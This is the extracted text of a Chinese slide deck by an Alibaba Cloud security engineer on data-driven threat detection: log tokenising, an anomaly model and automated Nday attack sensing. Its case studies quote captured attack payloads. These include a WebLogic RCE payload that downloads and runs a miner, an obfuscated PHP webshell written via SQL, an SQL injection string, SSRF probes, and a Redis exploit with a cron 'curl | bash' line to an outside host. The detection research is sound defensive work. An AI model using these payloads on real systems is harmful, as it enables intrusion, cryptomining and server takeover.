

从数据视角探索安全威胁

阿里云安全工程师 / cdxy




cdxy 数据分析/威胁感知



Chapter 1 •


异常数据清洗

云环境威胁感知现状	挑战	异常数据清洗价值
大量的弱点与日志	有限的存储、计算资源	以不损失告警为前提 压缩数据量
业务场景复杂运营资源有限	通用性、准确率要求高	理解业务特征 提升告警置信度



威胁感知模型基础

代码类日志清洗——词法分析



	wget htt	p://185.62.190.191/r	-O 	/tmp/r	; 	sh	/tmp/r	precision	recall
Token 1	command	word	word	word	operator	command	word	0.042	0.904
Token 2	command	word	option	op-data	operator	command	word	0.029	0.963
Token 3	wget	word	option	op-data	operator	sh	word	0.011	0.991
Token 4	wget	uri	option	path	operator	sh	path	0.008	0.997

```
/index.php?name=cdxy
/index.php?name=ring04h
/index.php?name=<script>alert(1)</script> → CAAAAAACAAAACDCCCAAAAAACC
```

```
[START] https://www.cdxy.me
[302] https://www.cdxy.me/feed
                                                                             p = 786
[200] https://www.cdxy.me/?p=788
                                                                             p=786<script>alert(1)</script>
[200] https://www.cdxy.me/category/Data%20Analysis
                                                                             p=786' or '1'='1
                                                        p = 786
[200] https://www.cdxy.me/page/1
                                                        {{426*1752}}=786
[!][200] https://www.cdxy.me/page/1.bak~
                                                                             Cookie: UID=70f868e092f90218cafa12038d9a5f72
[!][200] https://www.cdxy.me/page/1.swp
                                                                             Cookie: UID=1|curl http://x.x/shell.txt > cc.php
[!][200] https://www.cdxy.me/page/1_save
[!][200] https://www.cdxy.me/../../../etc/passwd
                                                                                             Key: Value异常
          Site: URI Path异常
                                                    URI Path: Key异常
```


Chapter 2

2 信息穿透模型


威胁检测产品能力对比

检测类产品待解问题	信息穿透模型			
高误报	准确率99%			
依赖规则,安全能力依赖长期规则运营	无规则模型,低运营成本			
对无危害的PoC探针行为检测能力弱	探针行为预警			
对未知漏洞检测能力弱	自动覆盖Nday			
仅做入侵发现	发现+回溯			

信息穿透模型



案例: RCE - DRUPAL



案例: RCE - WEBLOGIC

```
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0"><string>C:\windows\system32\cmd.exe</string></void>
<void index="1"><string>/c</string></void>
<void index="2"><string>powershell.exe -WindowStyle Hidden $P =
nEW-oBJECT sYSTEM.nET.wEBcLIENT;$P.DownloadFile('http://
132.148.150.15:8080/miner.exe', 'C:\ProgramData\miner.exe');START C:
\ProgramData\miner.exe</string></void>
</array>
<void method="start"/></void>
</java></work:WorkContext>
</soapenv:Header><soapenv:Body/></soapenv:Envelope>
```

POST Data

案例: RCE - STRUTS OGNL

案例: RCE - WEB SHELL执行命令

/wp-content/themes/sketch/404.php a=Php&c=&p1=system("cat /etc/passwd"); URI & POST /eng/query-terminal.jsp?cmd=mkdir+-p+%2Froot%2F.ssh%2F+%26%26+touch+ %2Froot%2F.ssh%2Fauthorized_keys+%26%26+chmod+600+ %2Froot%2F.ssh%2Fauthorized_keys /upload/template/default/forum/123.php?eanver=cmd Encoded Payload &cmd=d2hvYW1p 主机用户 WWW Process Log php-fpm: pool www 父进程 命令 sh -c whoami

案例: 脚本文件上传

Request Data



File Content & Path

```
-----WebKitFormBoundaryrUzmdXS72dR6ZxEi
Content-Disposition: form-data; name="dir"

E:/www/css/
------WebKitFormBoundaryrUzmdXS72dR6ZxEi
Content-Disposition: form-data; name="upfile"; filename="amazeui.php"
Content-Type: application/octet-stream

<?php /* encoded by http://phpc.sinaapp.com */
error_reporting(E_ALL^E_NOTICE);
```

Request Data




File Content & Path

/phpmyadmin/import.php

```
sql_query=select+"<?php+\
$func='c'.'r'.'e'.'a'.'t'.'e'.'_'.'f'.'u'.'n'.'c'.'t'.'i'.'o'.'n';\
$test=\$func('\
$x','e'.'v'.'a'.'l'.'(b'.'a'.'s'.'e'.'6'.'4'.'_'.'d'.'e'.'c'.'o'.'d'.'e'.'(\$x));');\
$test('QHNlc3Npb25fc3RhcnQoKTtpZihpc3NldCgkX1BPU1RbJ2NvZGUnXSkpeyhzdWJzdHIoc2hhMShtZDUoQCRfUE9TVFsnYSddKSksMzYpPT0nMjIyZicpJiYkX1NFU1NJT05bJ3RoZUNvZGUnXT10cmltKCRfUE9TVFsnY29kZSddKTt9aWYoaXNzZXQoJF9TRVNTSU9OWyd0aGVDb2RlJ10pKXtAZXZhbChiYXNlNjRfZGVjb2RlKCRfU0VTU0lPTlsndGhlQ29kZSddKSk7fQ==');+?>"+into+outfile+"D:/www/images.php";
```

/index.php?action=listletter

Request Data



date=2018-06-05&letter=%25%27%20AND%206405%20IN%20%28%20%28CHAR%28113%29+CHAR%28118%29+CHAR%28112%29+CHAR%28113%29+CHAR%28113%29+
%28%20%28CASE%20WHEN%20%286405%3D6405%29%20THEN%20CHAR%2849%29%20ELSE%20
CHAR%2848%29%20END%29%29+CHAR%28113%29+CHAR%28113%29+CHAR%28106%29+CHAR%
2898%29+CHAR%28113%29%29%20AND%20%27%25%27%3D%27&perPage=16&status=-1
&Submit=%E6%8F%90%E4%BA%A4

select id, type, letter, url from sl_types where letter='%' AND 6405 IN ((CHAR(113)+CHAR(118)+CHAR(112)+CHAR(113)+CHAR(113)+((CASE WHEN (6405=6405) THEN CHAR(49) ELSE CHAR(48) END)) +CHAR(113)+CHAR(113)+CHAR(106)+CHAR(98)+CHAR(113))) AND '%'='' order by sort asc limit 0,9

案例: SSRF

Request Data

Intranet Session
Intranet Flow
DNS

/spaces/viewdefaultdecorator.action? decoratorName=ftp://10.0.0.1

/uddiexplorer/SearchPublicRegistries.jsp?
rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSea
rchfor=&selfor=Business+location&btnSubmit=Search&ope
rator=http://10.0.42.2:7001

IP连接数 72

内网目标暴露 2

案例: REDIS未授权访问漏洞利用

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDE0guChoiGr6s3mXjQA0wX6YKNNMy2bpj6b8ArjuWH • • • TCP Flow Sd4pgn4gbmb8GzAv1H2xxw+SV2h redis@redis.io webshell<?php eval(\$_POST[xiaoma]); ?>godkey@t * * * * curl -fsSL "http://r.waterdropx.com:13858/cdp.x? File Content ip=115.28.176.14&xp_ht=5A089AF6&xp_s=842768" bash & Process Path CONFIG SET dir /var/www/html/ CONFIG SET dbfilename redis.php

100+

已知漏洞

RCE / SSRF / SQLI 文件操作 / 信息泄露 / webshell 40000+


攻击向量

监控Nday及Exploit变化 为情报、宏观态势、黑客社区发现提供数据支撑 99%


准确率

从Nday攻击到告警的全自动化 为Hunting提供准确完整的payload

Chapter 3 Nday感知



案例: Drupal / Hadoop RCE 云上大规模利用



数据科学落地安全产品

场景

时效性要求

准确性要求

运营资源

数据

目标数据量

采集 / 存储 / 计算成本

标注方法

样本质量

模型

探索-假设-验证-优化

算法接入与调优

运营

可复现-可解释

迭代方案

风险控制

反馈机制

Q&A

i[at]cdxy.me @xyntax